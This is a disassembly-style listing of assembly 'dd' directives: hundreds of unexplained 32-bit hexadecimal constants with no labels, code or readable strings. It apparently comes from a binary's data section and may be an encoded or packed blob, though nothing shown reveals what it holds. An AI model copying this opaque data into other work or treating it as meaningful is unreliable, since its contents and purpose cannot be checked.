		dd 92D6ED96h, 0E609F6C8h, 71ADA2Dh, 0B51B5AE5h,	0BEED603Eh
		dd 2661A027h, 3541E0Ch,	0A5A0C0BAh, 8C93DE97h, 0B112EA1Fh
		dd 798DF70h, 1775C020h,	1357565Fh, 0F350B47Ah, 0E1F8B40Bh
		dd 68D38114h, 716673D8h, 1272BE4Ah, 0D2AD85F4h,	280FB6F8h
		dd 0D90B1CE2h, 2C08B008h, 94172626h, 0BD17FA80h, 10D9F38Ah
		dd 680BC081h, 101A1D9Ah, 53B4C1DDh, 8DD6D3CDh, 4BA0BCD7h
		dd 0FCCC2F6Fh, 424F8072h, 18F52AFh, 0F25036FAh,	0E8E2EC66h
		dd 0F75B16CBh, 730342E5h, 2F625947h, 2CD45160h,	5EF07847h
		dd 4E875865h, 2F77AA14h, 0F34478B5h, 5A0BD590h,	0C6BE80DDh
		dd 1D773528h, 532921BBh, 2804BBBDh, 1E137CC8h, 0A399D7E3h
		dd 5651256Ch, 0D5686115h, 92E36B1Ch, 7FFCF192h,	70842Dh
		dd 9AF84875h, 0A2C817A4h, 0E59C1757h, 0EFC0C8FDh, 7DD744E2h
		dd 0F74E44B8h, 0F93520FBh, 75489128h, 0EF83B1DAh, 0D3E3EC6Fh
		dd 7DE5501Dh, 6E5FBA99h, 4E7395A9h, 0DA3E313Ah,	49287ECAh
		dd 0D927D0E6h, 0F5EFEE07h, 8705B03Bh, 5E518F7Eh, 2ED149F0h
		dd 0FD563E82h, 8474A342h, 0B37F1EBh, 99C6A407h,	8DBC367Ah
		dd 778CA862h, 0C5B49C18h, 58E12805h, 5809CB88h,	63822F1Eh
		dd 84BAF280h, 939B6BAh,	96A6E99Dh, 0D62D0C5Ch, 89E0A21Ah
		dd 32FFA54Bh, 0CE605292h, 5F482334h, 1F85041Ah,	9AE0E5Eh
		dd 29AFCEA6h, 59832DC0h, 0FEEA2510h, 57C83117h,	74192A8h
		dd 12138E04h, 73E0F287h, 2E76D835h, 0EB515Dh, 62BD131Fh
		dd 0FE4067E9h, 54270B2Dh, 0EF850DD8h, 0E528EE91h, 0B1BD5483h
		dd 902B0CBh, 4E7E18C0h,	123DC6F7h, 0AAC8BF0Fh, 35E98AC8h
		dd 84EFA777h, 3B3AA06h,	0E9092548h, 0F1DA6D3Fh,	28EC0820h
		dd 90B2CAFEh, 0DCF42084h, 2D40D8B7h, 0F2E8BA09h, 557B66C5h
		dd 0CD7F4376h, 19A05113h, 280A8B01h, 877B1FB5h,	0C30B2243h
		dd 0C232D5CCh, 0D3D1F4h, 37AC292Dh, 69EA89Ch, 8C2651E7h
		dd 0DD8572F6h, 21455B5Fh, 77BEA571h, 7AF9B221h,	182DB54h
		dd 70408E05h, 88E100A3h, 0E90F992Dh, 27CF50B0h,	800E9E89h
		dd 8EAB164Ah, 13A65AC4h, 0EB5AD716h, 99314ADDh,	9B87864h
		dd 4D7E4C76h, 0DC43107Fh, 1F1C4A44h, 63724477h,	0FA1AB123h
		dd 91C088Dh, 5B230214h,	1C25171h, 2885C1F2h, 0F011EB26h
		dd 68CF021Bh, 0E1293F35h, 0BFD86EC1h, 92D90BBh,	5E726287h
		dd 8432855h, 6B0AF927h,	0E970EDF4h, 11C9433h, 3D386CBFh
		dd 46729D2Eh, 50028BC5h, 0D8CE7082h, 7AD0B746h,	5BF1304Dh
		dd 9C131BACh, 0C1F8944Ch, 2C71500h, 56E1DD89h, 29852ABEh
		dd 507B3AFBh, 1C91C860h, 0AB207B7h, 0C398A4B2h,	1D60F580h
		dd 2D5300B3h, 49E6AE8Ah, 0BB4EB7E9h, 383C29AFh,	6668C003h
		dd 903CF66Fh, 4A25509Ch, 73F509C6h, 750545EBh, 6515F4A8h
		dd 76AE1812h, 0FA8416FAh, 7D56B992h, 7D26E359h,	42190025h
		dd 1255CA81h, 28EF7Dh, 0E4973D01h, 0CB5EE90Eh, 88323D17h
		dd 72EC778Fh, 4540ECBh,	0F703CD70h, 0D09B92DAh,	6242559Ah
		dd 148EE580h, 0BB599E9h, 2DF76F3h, 4D6009F2h, 15E043F5h
		dd 0DD8012C8h, 0BB98FE3Bh, 0CE050E36h, 65562D12h, 41518142h
		dd 0C2005D18h, 13947924h, 46FD5DB2h, 14821C08h,	0D9F7636Ah
		dd 1892E897h, 69BD99DCh, 2C1E2004h, 9C7E5C1h, 0A616730h
		dd 0F00A901Bh, 4D9B043Bh, 0ABF9B5E9h, 0C72572A7h, 40DAF790h
		dd 0E9A3309Dh, 0ED694F94h, 2F1388CAh, 730BB67Eh, 0D534CA55h
		dd 0B175A9A9h, 406EAE8Bh, 0C98EC502h, 894A34FDh, 11415EF5h
		dd 680094ECh, 40A86959h, 403E4B9h, 0F1813484h, 0E10D4FE0h
		dd 1BB62EBFh, 21F82DC0h, 2CCA2A40h, 6A2C0705h, 9546208h
		dd 7D804E46h, 7E7902B7h, 563A81BFh, 0CCC017BEh,	0A9E97C26h
		dd 873B66B2h, 0C968494Eh, 0C6894381h, 5ACBF46Bh, 8357E69Dh
		dd 8FCDB494h, 0FAA46930h, 316AF952h, 0A465E975h, 754B32B7h
		dd 0E35F7127h, 2640916Dh, 1040E493h, 5B500953h,	0F889DE89h
		dd 0BDB2E540h, 2B74EDEFh, 2F4841B7h, 3F4E417Dh,	0DF50F1C1h
		dd 5622EB76h, 0F69DA98Ch, 6E575A58h, 0C18A250Eh, 80141075h
		dd 7CCB973Dh, 9E46FBC5h, 0B526AA65h, 0F7138202h, 6C59E055h
		dd 696A4C49h, 7BFA6F10h, 0C0136BECh, 47AB09DAh,	0B458C69Ch
		dd 7B70B195h, 41BA532Ch, 0DEEF026Dh, 38C6095Fh,	0B4B4CD77h
		dd 0BEE66255h, 0EE6381B2h, 7AF1235Bh, 0E84ACD7Ch, 1100E5B4h
		dd 673031B3h, 87DE39F7h, 8D36274h, 0F284CE81h, 0E6BD8066h
		dd 453E73BBh, 34F63336h, 0F129B144h, 135EB490h,	89BEF068h
		dd 353F68D3h, 0DB891381h, 0F510E42Dh, 0AFB800C8h, 3547C377h
		dd 54741FEDh, 0C5BDD928h, 0C5D160B5h, 0B3E6FFB8h, 8E5C002h
		dd 5F6664E9h, 0D87D83A2h, 8BD2640Fh, 0A134CCEFh, 62E3904Bh
		dd 908BFA97h, 35C5B412h, 1884813Ah, 0B95281CFh,	6AF94FC1h
		dd 0CA58F13Ch, 81A0CD48h, 55257FE2h, 1805C4Dh, 965829BEh
		dd 2AB6EDE9h, 55040A9Bh, 997DC868h, 0DB764157h,	405D028Bh
		dd 2647DEEFh, 0A51A3591h, 0ACC4D4ECh, 0D8FDD676h, 51994B10h
		dd 920A2043h, 0D45A3E7Bh, 3E6A9DB1h, 0FA8D4FC4h, 0ABFB852Eh
		dd 214ABC8Fh, 0C26471D6h, 0CC425155h, 254B20DCh, 44D645EDh
		dd 796C10Ah, 0D674CA31h, 9BB54FD0h, 8DE84820h, 849D10h
		dd 0B753C9B6h, 6C7FE65h, 59B05066h, 0B5A10C20h,	4E8A7803h
		dd 0D4290887h, 245E42B3h, 0E3025F09h, 0F0098AB6h, 44734EC7h
		dd 3761CA90h, 0B3D053D5h, 0F666035h, 404855E2h,	0AE747A89h
		dd 0EF24562Fh, 49D952A5h, 2A5FC2ACh, 0E95800AEh, 0EB2348FAh
		dd 2E31A0D6h, 16640D1Fh, 0F187D8CDh, 0F2F3F230h, 0ED2A4B89h
		dd 2001D45Ah, 0AB681352h, 3B25C91Fh, 75A19ABCh,	762D893Fh
		dd 0F729B145h, 0D0FEB954h, 6BB3EB3Dh, 29C9FF09h, 7E280ADDh
		dd 26ADE9A6h, 5DF84Bh, 480C8BBFh, 1F78115h, 0E010243Bh
		dd 58288E0Ch, 0B1FBF45Dh, 3EC1903Eh, 34250395h,	0D0788E76h
		dd 0D03E0h, 21E554D7h, 0F7F4D32Dh, 68F1A558h, 31A6CC36h
		dd 0A6468602h, 25EAD508h, 815D0804h, 1EADA84h, 0DFE2D709h
		dd 0B81BB6DAh, 0C8983941h, 964270Fh, 0A6EDE98Ah, 30E694FDh
		dd 0C66FAB5Ah, 3B09462Fh, 89F789F9h, 57F1A4E5h,	0E98218B3h
		dd 0D70B812Ah, 3472540Bh, 74D3DD25h, 0FF07C4ACh, 74A710B1h
		dd 6884E4C7h, 2DAB0F47h, 10B73D0Bh, 25751531h, 0C59894Ch
		dd 9D694382h, 57319251h, 56582A90h, 0AAC78A0h, 6ABFD7C0h
		dd 0B87CE23Ah, 0ED474BCDh, 4DE503EEh, 7E0AC81Dh, 0DDC1129Eh
		dd 0B157EA7Ah, 0B50D4AA0h, 0D45C9C04h, 8A29BBBFh, 0BE365030h
		dd 3BF01F8h, 4029A448h,	123722C9h, 7D84285Bh, 0E9273CFAh
		dd 0F4CB8625h, 0CD0170CAh, 6B261598h, 25CF664Eh, 0D6F9A433h
		dd 3405EB02h, 0B2724543h, 4AE90880h, 0C2092097h, 4B4C01B0h
		dd 1151924Fh, 8B4791AAh, 60D95E96h, 653CBF8Bh, 5B310BE7h
		dd 3EC93FCCh, 9AE6D758h, 0FAEB8002h, 7DE8C0E9h,	0CB08E1Ch
		dd 0B37C6AAAh, 0E8083C02h, 0C59C8014h, 2E33171Ah, 2D2DFF7h
		dd 31CB2A5Dh, 0A8BF7E55h
		dd 3EB00B62h, 0E5016F1Ah, 476A1536h, 66906CE4h,	0BE05FE3Ah
		dd 623FA711h, 5E07042Fh, 6BE899FAh, 96907EE2h, 0CC02BE04h
		dd 0E550FB20h, 78AB5E08h, 9425E924h, 8BF7B7Bh, 0B9177C91h
		dd 0CB2C73B2h, 17C11064h, 1DFE53B1h, 54FA3DBEh,	0A3FBAC09h
		dd 57253FCBh, 55A76802h, 405D5F72h, 1E65D7h, 0F28143E7h
		dd 382607FAh, 0BE09DFB0h, 44F140Bh, 30AE45EDh, 0F745A77h
		dd 9DE8304Eh, 5FF92981h, 56816E58h, 7F347190h, 4E2003F4h
		dd 2FE78152h, 4F280BF8h, 0F10FACB0h, 53869FF9h,	0AB2165BBh
		dd 10C6B9D0h, 8E3409EBh, 8A5EF301h, 0D7735D5Ah,	828FA69Ah
		dd 0DECAAE76h, 0F1F740F4h, 474B3B68h, 3FC45ABDh, 67A81387h
		dd 0F27BE349h, 50BFA692h, 0FF9BA958h, 7F07576Dh, 0B467FC54h
		dd 67EE57CAh, 0C7B5C2D2h, 0E11883CAh, 4F94D562h, 8F1D0C4h
		dd 925DB22Bh, 0AA5146BEh, 76978BC9h, 5E688B8Eh,	6AE96E21h
		dd 0DFF60008h, 2FB40650h, 67BE480h, 0DC0F917Bh,	6349B353h
		dd 0C228B8C3h, 0BC505D5Bh, 0E7585078h, 0F882E1C1h, 58A6923Eh
		dd 74C77360h, 0D0644B27h, 5AB1B03Fh, 0C3A29035h, 5E3063F5h
		dd 0EF4C0C2Fh, 0C20651A2h, 0BD9F002Fh, 3AB04226h, 0AC6EBE3Ah
		dd 0EE1636EBh, 0F741D9BDh, 29E5936Bh, 0CF0EE9E0h, 0BD4051B6h
		dd 20257E6h, 7E5C12Bh, 53D7C4E9h, 58F0AD9Ch, 3C126F78h
		dd 1EC54FE9h, 0B9519200h, 5AFC7343h, 501FB47Eh,	5C6DA54h
		dd 59659425h, 72CE0BC5h, 251FB45Fh, 4D56C7E9h, 73F76678h
		dd 0E98732D9h, 0D119D50Ch, 0BBF853FDh, 3E5B7FAFh, 0E396D931h
		dd 57C9BBB5h, 0B0E3863Fh, 0D86B3213h, 66C96507h, 5D064BA2h
		dd 74407362h, 0EB261B41h, 0D6006C35h, 29AB63CEh, 203390DFh
		dd 681894DBh, 74B55E0Fh, 81D59C17h, 9043658h, 7E12A29h
		dd 535F0801h, 1778A36Eh, 21B69C3Ah, 0A30F4F17h,	0F08E2A76h
		dd 0E583514Ah, 0ED650293h, 1410E5Ah, 82383AE1h,	48C8C917h
		dd 1045642h, 0CFABE8ACh, 80890229h, 78432DCBh, 17F1A0F5h
		dd 5A5CC1CCh, 225DE821h, 75D43188h, 0E86AAD68h,	54BACF54h
		dd 0AA00DEDCh, 0E9378C5Dh, 1AB769ECh, 607F104Ah, 25090FFBh
		dd 0B6D750F3h, 2D939866h, 0BB51C1AEh, 94D1420Eh, 323801C3h
		dd 55E96FDFh, 0F66B0A25h, 9634CC34h, 0AA18177Ch, 7885B037h
		dd 0B10B0FD3h, 821859D6h, 617D34A3h, 49BDD17Fh,	844F67A2h
		dd 15E3A440h, 73BF6C12h, 0ACB38701h, 22F97AAh, 44268EBh
		dd 0FF5E2CA5h, 9C9B48B4h, 7685253Ah, 7E20ABF2h,	307EFC1h
		dd 3CECBE56h, 0E8F11E3Fh, 0D1F5C220h, 0FD72D0h,	0C18001E3h
		dd 94F8B083h, 0F9B0002Ah, 0C3885351h, 0E249D8F6h, 4C5D4831h
		dd 2FE53B29h, 9F06558h,	157AEA88h, 8B59CF1Eh, 0A4047E5h
		dd 0AFF63B2Bh, 0EDCAB3E3h, 527F8F70h, 9898BA20h, 7CE609B9h
		dd 46573CCBh, 5E73B734h, 0C2F2DEA7h, 1677C8CDh,	9702EACFh
		dd 5EB0C8ECh, 5BBCD4Ch,	17F1E92Bh, 0AD0461EEh, 0FF2C1214h
		dd 0FC490A71h, 0D7DB136Fh, 0E816E2B0h, 45CA0440h, 31467D18h
		dd 6369E9B9h, 0D6F628FDh, 595B0479h, 0BFB51585h, 0CDF806A7h
		dd 0C654A0FCh, 0DE0EC582h, 0C1309210h, 127436CDh, 1F5D660h
		dd 0FC986395h, 0CAE9EA89h, 0C188A048h, 9AD1C0ABh, 10467A23h
		dd 0BF52A31Bh, 48C96CBCh, 0DAFB7E6Eh, 4F7E60F2h, 0AB9B588h
		dd 0FEBDF580h, 0BED16A7h, 0E3F07A2Ch, 1212B0F6h, 0C70979B9h
		dd 4B3887F3h, 40D2EE25h, 77C07556h, 0F20A2A7Fh,	6355825h
		dd 69565127h, 0F997CC70h, 3C7D69BFh, 3C250097h,	2D3A5639h
		dd 967721C0h, 7453E925h, 0E97C2D2Ch, 0B319B62h,	0BB92DB04h
		dd 92023F29h, 0B2520147h, 0CBA5E0B8h, 9CC06880h, 3EB66063h
		dd 40EDEE80h, 0E2E92993h, 24A5485Fh, 2B26C03Fh,	237E245Eh
		dd 0A09B7920h, 7A3780D7h, 0A985B77Ah, 56CF801h,	5A7B2E73h
		dd 55914A82h, 0E49349D9h, 45290DE4h, 0A672444h,	5C3A133Eh
		dd 0EB804A99h, 1901A2BAh, 0ABF15D1h, 19E2D6D5h,	8F2F1DDh
		dd 0EF60B951h, 98A0563Ah, 0F24B2EA4h, 56CF9788h, 8E61C8A9h
		dd 0CD320C4Eh, 759ECA5Ch, 3AF809F9h, 0E3769DF1h, 85FD9DEDh
		dd 0EEDDB448h, 0CC694ECFh, 0C491C00h, 37EB92E5h, 62FDF2E6h
		dd 0A690D70Bh, 6EF8CF29h, 0B417A69Ch, 0B2C4CD01h, 0CF70D4F6h
		dd 25E9EEFEh, 1A7D8E56h, 1CE257A9h, 52087457h, 34098AC4h
		dd 0C2077E2Eh, 3E09D7C5h, 0B5B20557h, 1BEC9FD5h, 113DAE97h
		dd 0E90B7836h, 0F87AAD02h, 0BA40144Bh, 0B64CD9EDh, 4ABFB830h
		dd 0A7F2C103h, 0C05DF679h, 2566D6DDh, 0CA5D0B24h, 9941DD85h
		dd 5E90C0F3h, 98887794h, 89AD1DAAh, 377CB622h, 92FE87E3h
		dd 619DE3EFh, 2B681008h, 40C52309h, 431FA3E8h, 9E822675h
		dd 0D77A315Eh, 2B180702h, 0EBC98000h, 40D158F6h, 0CA30960Ah
		dd 0C2C7EF7Eh, 82F7E9DFh, 0ED4A890h, 0A68136A6h, 0ABB8C7B5h
		dd 87543B29h, 1233396Ch, 0A646889h, 0A0825BD1h,	0F637B00Eh
		dd 50D98241h, 0FA8933B5h, 68419571h, 522C6CBBh,	215B8C0h
		dd 0E97D7226h, 80F7819Dh, 0E2F44EAh, 7B8E55C3h,	3DDDD00Eh
		dd 7AF2F578h, 0CA512E5Fh, 5EF8A5Dh, 0BCCAAEh, 0CDAEE408h
		dd 0C848FEE9h, 66D0D3A6h, 327982BDh, 5FF4061Eh,	3125E040h
		dd 0B208C90h, 62D69F47h, 35CC7D5Ah, 18B9EA4Fh, 38A10C61h
		dd 169E97AEh, 0BC4A46FCh, 0C6D0B428h, 98BC2813h, 54252042h
		dd 0C75C5E61h, 46E57E2Dh, 0CFC847F4h, 0BFA2F547h, 2F584BDh
		dd 0FDFA3109h, 124CC471h, 16687551h, 0A3165D08h, 0F74909BBh
		dd 9894C0D9h, 410E2F59h, 621F6A60h, 0E91C6B7Dh,	572D44B7h
		dd 0D32550AFh, 533BD395h, 3B91C7B9h, 0BB00B2A3h, 0F581DE4h
		dd 0BD7E6B8h, 0B84F41BCh, 0EFE9833Dh, 9DC97A10h, 0A9D9FF4Bh
		dd 21383549h, 532C6BABh, 25C6413Fh, 0C8DDCAE5h,	98895D3Ch
		dd 4CD9B578h, 0A2B50C93h, 0C45BA03Bh, 0E930AC41h, 37ACB50Bh
		dd 7BFE5E64h, 74BFEA9Ah, 13C4EB9Fh, 0C9BC6220h,	9258BD30h
		dd 20F9555Ch, 0CCAEA0DFh, 8619D05Dh, 6F853F38h,	0BBDBF772h
		dd 6F067986h, 3145BC07h, 0F359C041h, 0A26FF90h,	0B288C432h
		dd 0CC4B3F97h, 0EBB851F8h, 9E03394Ah, 9BA6CB80h, 0EB061FF3h
		dd 0E02093D9h, 2A09BF93h, 75430809h, 100629A7h,	0C40D02FAh
		dd 54532F00h, 246C3C2Dh, 53BFBA4Ch, 0B800E39Ch,	5D8F6E59h
		dd 0D173F791h, 9719D8B7h, 4C00AA7Ch, 0E908670Eh, 728E6026h
		dd 0CF8047B7h, 2D5E0D7Ah, 0D70FDAF2h, 137C638h,	4A628ABAh
		dd 0A39B702Ch, 1FB20116h, 36848F03h, 0C7AAF46Eh, 88E9F024h
		dd 1A388048h, 1EBDB41h,	14B19E44h, 17F0698Dh, 5905DA9h
		dd 0E7550E66h, 0E12A50EDh, 0FA7054CAh, 0A46B1E2Dh, 0C9674D68h
		dd 550B682Ah, 3317566h,	37FB1BD6h, 0F440D406h, 0F2C25F01h
		dd 63FAC4A1h, 7E25DC87h, 166E66A1h, 0B404FB1Dh,	0F3FBCE52h
		dd 0E01292BCh, 0C802C1D9h, 519EE933h, 5A693020h, 820BBE4h
		dd 4B502104h, 4FBEAC4Ah, 975CC3CCh, 1708C4D1h, 614225E7h
		dd 32F17CC0h, 0C42BD30h, 48E32CCDh, 24043F05h, 901A5A71h
		dd 0BDDE9D4h, 0D1897FC4h, 0CC8B19BBh, 444EF8F9h, 0F61C6E95h
		dd 6CAC6009h, 0D3F68AB3h, 2FAD99A1h, 0CDFA2BDh,	0E2CDE05Bh
		dd 775923EEh, 3C1E7A06h, 0DE8A75F1h, 0D192B6CDh, 400DA200h
		dd 9D812F27h, 8D30A6F8h, 4C3EC225h, 0EA2D655Ch,	80BA5658h
		dd 0EC22AB3Dh, 0F72C214Fh, 7899F73h, 201B6E77h,	280E7DB0h
		dd 60FE58C6h, 0C0CEE680h
		dd 51040EEEh, 121E11B1h, 0A2B80B59h, 0AC7F63DDh, 7D4B2087h
		dd 0F880C2CBh, 0EBE4A12Ch, 0C4966FF6h, 44165C16h, 4A018FEEh
		dd 1D60D58Eh, 0D3106768h, 9EF2194Dh, 0D90D50CCh, 34225FCCh
		dd 6DE9AB2Dh, 8E5FF8F2h, 3B2D3E6h, 990BDE94h, 0C6021722h
		dd 52078CB2h, 14A8A855h, 0EE1C294Ah, 0EDFE5E60h, 13BCAFB1h
		dd 0B8F8C5B1h, 81B3EDA1h, 1FC0BF26h, 316E3A61h,	10C55A15h
		dd 263768C9h, 4021918h,	8063C896h, 6EF0EDA1h, 5CBD10FEh
		dd 48082066h, 68B0D059h, 55BB2B4Fh, 0CA624C02h,	5B0DF1Bh
		dd 4403057Eh, 0DAE94B3Fh, 0F4334B08h, 6880C192h, 0E34F4B47h
		dd 739205DAh, 12BE7DDFh, 0BEF52594h, 3586490Ch,	0FB8BF1CEh
		dd 0F7468F9Ch, 5D04430Bh, 8E5C5803h, 2881A05Eh,	316A3C54h
		dd 0D0E9D887h, 31750BA3h, 852E0F8Dh, 0D2D3F8BCh, 0E90C3DCAh
		dd 0F07FFC8Dh, 27764C95h, 47AA737h, 8029C020h, 3E6702ACh
		dd 0E95B6139h, 126D8582h, 25BFEC57h, 0B3E180D3h, 655C6215h
		dd 6FC0771Eh, 78714568h, 2C3BC29h, 186C7CA9h, 5CE8C1h
		dd 9D08EEC1h, 0D88C2DE0h, 709542E4h, 0A0F0D558h, 29AD5F32h
		dd 7ACE0EE4h, 9AAF162Ah, 7E90C67h, 763D87D3h, 7235C4Bh
		dd 16A20C19h, 0AFB06A59h, 0CDB2E4FDh, 0D8385618h, 0C262803Ah
		dd 929F86E0h, 0D8E404ACh, 28D207C0h, 45902C8h, 0D4E3E9A8h
		dd 0D1EB3DC9h, 0CF0E381h, 0F2B74C51h, 3BC3079Fh, 99387A5Dh
		dd 0C43FBDAFh, 0C2715A6Ch, 0FD0B4262h, 7B68AF48h, 16F32D80h
		dd 1D77F73Bh, 0A31E4C2h, 17F01719h, 5B1905C3h, 0A417BB58h
		dd 0C6502EA3h, 8A4282E0h, 97BD55F4h, 0E38CE59Eh, 0F2535F5Fh
		dd 0D4292FBAh, 55AA0982h, 0A257991Ah, 7771A7FFh, 16F81F94h
		dd 0D63D0D48h, 0C5BE70EEh, 0C5FC763h, 9CB13F4h,	1535653Bh
		dd 18530700h, 429037E0h, 0CDC530B5h, 71342E58h,	26AF021Fh
		dd 82E00EE3h, 608251E5h, 3D082F42h, 1996159Ah, 4C33B33Ah
		dd 4CFC4F3Eh, 2F786BC9h, 53D8B71Eh, 0DB408417h,	66031ABEh
		dd 3D70BF62h, 4FEFD102h, 7F32A868h, 88BA5A98h, 5DB830C0h
		dd 2C1C384Ah, 5A32C301h, 137A28D7h, 12D1D027h, 1D65773Ah
		dd 71EB4F4h, 0A9B96808h, 388300F1h, 382A174Dh, 5758EFEAh
		dd 55B0E9D4h, 410FBE56h, 0F7162D3Dh, 0CD870805h, 8DBC6h
		dd 0A6685150h, 5914080Eh, 938A63EFh, 0FFDAF91Ah, 0C5C290F9h
		dd 0EBCED73Bh, 0BFF4F6h, 5A84BDCBh, 6867090Dh, 8EB061EBh
		dd 0CFA3045h, 43505A90h, 1B99A6D2h, 89C50916h, 9D7E13F8h
		dd 0C181305Ah, 0F1446FE1h, 0C3F30F0Bh, 2559F41Ch, 3F0E657Dh
		dd 285C5605h, 0BF7F8055h, 0F1287290h, 9249A438h, 0C48001F7h
		dd 58E32845h, 849EE97Bh, 31EE5132h, 0D34A40h, 1259E181h
		dd 8463DB36h, 0AAF1952h, 0D1870505h, 0BE008C54h, 49EF7E36h
		dd 4C09F3B8h, 873B0315h, 77095B0Fh, 63F61E66h, 80459C5Bh
		dd 45AFC271h, 3256B24Eh, 5D6052A3h, 394BC308h, 0A12F8A29h
		dd 0CF084FDh, 16BB7386h, 0AB71FEE3h, 247BC6D5h,	0AD48365h
		dd 35A880FBh, 0D8746D95h, 0FE9D2798h, 0C11AC25Dh, 232028F2h
		dd 82B802FBh, 50166F06h, 36903750h, 0C84F7825h,	814A405h
		dd 0EA2971E5h, 5D4A0820h, 4A40DAF1h, 5C8B3E9Ch,	875EF821h
		dd 1C7CF9CFh, 82A52D58h, 43D220C0h, 0BB636C28h,	0C9070C94h
		dd 0DC446BEh, 0C8031883h, 76376DF1h, 97829D4Ch,	8F61C789h
		dd 102F72FEh, 0B8001968h, 0ADC21AF4h, 8C91C531h, 0FD919AC2h
		dd 98E302F1h, 0BA1C4E78h, 6B45C528h, 1F0A1395h,	9FEB1CDCh
		dd 0A02E49DFh, 15DC7B2Bh, 11825F25h, 9AC15559h,	2A04257Ch
		dd 79FEBE84h, 0BCAD3B75h, 0AD50AFD0h, 5E189557h, 569C3436h
		dd 5E3CEC8Bh, 0E008402Fh, 0B16C843h, 13E84C29h,	590B0CD0h
		dd 0F4794401h, 0DF487AAFh, 4049022Bh, 3432B96h,	3D9344E2h
		dd 5D07A0F4h, 0B1FFC7AAh, 126B436Ah, 1003B6D5h,	0AAD3C5ABh
		dd 0AC104C8Ah, 0D8F704CDh, 0C2FBE8C1h, 1ECC4E28h, 646B6A02h
		dd 40F5813Fh, 61070AECh, 0B230E4Dh, 0E9B8C338h,	0AFB590B7h
		dd 0F4F2C09Eh, 90453977h, 0DEF097ABh, 20C0865h,	5484C300h
		dd 0BD01C4E0h, 6F534531h, 5DCB63A2h, 4C9D4358h,	0F208BCD5h
		dd 0D7EC4A55h, 5B4DA73Eh, 545D2F28h, 0F876EB2Ch, 0B92F1D58h
		dd 875209EEh, 41C2325Fh, 0F3785EC0h, 2A8C60D9h,	0AE813531h
		dd 1585B945h, 80E0D4BAh, 3B6DC523h, 0A48F44EBh,	382DE9BBh
		dd 0FEDE2EF9h, 0D7B0F809h, 0DAFD536Ah, 0D61922EBh, 9D412090h
		dd 406EB13Eh, 7F7AC414h, 0F74D5401h, 6AF068D5h,	552DFD33h
		dd 224FD0C3h, 75B7FEE8h, 2FB8A744h, 583BFE5Bh, 9FD2C578h
		dd 0FB03CFFCh, 4E47C62Eh, 2E96AEF1h, 6A5DB841h,	0C7EC0613h
		dd 0C87ABB4h, 0C3764986h, 0AB412874h, 3B01437Ch, 1167146h
		dd 0BEF130DAh, 42710495h, 25BC3586h, 87D83D72h,	0AFB14B30h
		dd 483C8DCFh, 0EF025D78h, 8429A587h, 4A5F61DFh,	1367CAE8h
		dd 0FA655503h, 53BF60D0h, 11D23029h, 0A26C9C40h, 3EB42560h
		dd 0FE1C651Ah, 0FBE915D7h, 0F730F907h, 2C1E4F5Eh, 0B7C7AEC0h
		dd 120E0F27h, 0EED47AE9h, 92E7CD89h, 0FD7568C2h, 0F13E249Eh
		dd 21510F5h, 0B3536D2Ch, 880CF7A1h, 0A5417C30h,	4DAD6630h
		dd 5084094Fh, 7931FAFAh, 0BB664BF9h, 402E7112h,	2D04E004h
		dd 0E709F0BCh, 5C20187h, 0EB2932FDh, 6C34A57Dh,	35920513h
		dd 4AFD832Dh, 28173420h, 0FF05B59h, 26A31FDCh, 24CFB8A5h
		dd 0E45AFC75h, 0A6C02CFBh, 39995512h, 0DA2540Dh, 2895EA40h
		dd 29492D77h, 27085088h, 5B5A4E78h, 0BED2F6A3h,	8ABB3035h
		dd 29FE5EA6h, 4FD63857h, 21D328AAh, 3009D7BAh, 0C805BFDh
		dd 0F3CB066Fh, 9EA30A6Ah, 170DA689h, 1AF3F375h,	55108291h
		dd 2D4E4E1Eh, 58C3D834h, 9DBDA41Bh, 0BC524784h,	546DC456h
		dd 0DACAFBh, 5053525Bh,	21468h,	0D586766h, 576D0E3Eh, 12C3ACA0h
		dd 0E905AC04h, 0A0A94B1Eh, 6985DB02h, 7C7E2170h, 80B33B1Eh
		dd 1B1CDB68h, 0C781DCD7h, 296AB4F0h, 450C0860h,	805B2E67h
		dd 2305936Ch, 9920E9DDh, 13CFA3BFh, 0C8ABAA3Ch,	2167D2C3h
		dd 18B1BD5Ah, 1E604B60h, 5F12587Eh, 99A009DEh, 9A09D6DAh
		dd 56FB9BECh, 30044D47h, 100332F8h, 87E94012h, 3C4125B3h
		dd 590653E0h, 654F19B1h, 34F49DF5h, 5E351292h, 6350010Bh
		dd 316C694Eh, 0CE7D6099h, 194ADE0Ch, 0BF66D31h,	40C2A006h
		dd 2631CBFFh, 4ECE98EEh, 0E3FE09BEh, 23465DFh, 359660D6h
		dd 0E912275Ah, 7DF3BF79h, 585315Dh, 0DCE2F88Eh,	522887D0h
		dd 1D390FF2h, 72855E2Ch, 0B499AC14h, 0C275EDAAh, 0C88FF3E9h
		dd 9081D1CFh, 43C72836h, 9E30279Eh, 0CBF9BBFFh,	0CB4D03C9h
		dd 52CA544Fh, 0F3315804h, 84EA6403h, 7CB99144h,	0F23A2F24h
		dd 0CA770869h, 4B8CF04Ch, 2743A704h, 111056Bh, 176B42EBh
		dd 0C18E7E1Dh, 7AA401D2h, 7B7C5368h, 1D8754A4h,	0BC34E542h
		dd 0C215D686h, 3C0C1805h, 0D4832A4Dh, 6873958Ch, 6F09569Fh
		dd 792776CAh, 2E163A28h, 21001EBh, 7F29E680h, 0AF40C7A2h
		dd 7EFEF0B3h, 0BCC32CCBh, 6EF2226h, 0CC60320Dh,	2524664Dh
		dd 7B8BAF8Ah, 62BDFC49h, 185758C1h, 0EFDB221h, 0C04CE280h
		dd 0EAD00562h, 0F2F6E15Fh, 9375C88Bh, 0DFA2190h, 89094913h
		dd 34EC8A12h, 0C61EBBD3h, 202BE640h, 135210ACh,	0D08433E9h
		dd 0CB4FF164h, 0F220717Bh, 472924A9h, 2A806297h, 0EDCA7D09h
		dd 0C4207B44h
		dd 933BA005h, 756C3D43h, 27A16390h, 5B59DC5Ah, 0A3A0D882h
		dd 4AF6808Eh, 0ECF1709Fh, 2C1207EBh, 0D953E9A3h, 66240FD2h
		dd 8AC2832Eh, 0BB5C050Ch, 0EC2ABD6Dh, 726CC60Dh, 0E3F8A0D8h
		dd 1D02F85h, 312D0FD8h,	0CE55E1C5h, 5928686Ch, 47FF0F8Ah
		dd 2A841D15h, 980500C6h, 9478C84Bh, 0ABA43E90h,	0FC60A5F4h
		dd 0FD823414h, 0E120B358h, 0E5D128E8h, 96A455FCh, 0DCE83Ah
		dd 8F2C91CFh, 174F4732h, 428B2EE9h, 7C196875h, 0F382BD51h
		dd 6643F565h, 5D8784CEh, 0B05B9C5Ch, 694A3FF4h,	97F72DD8h
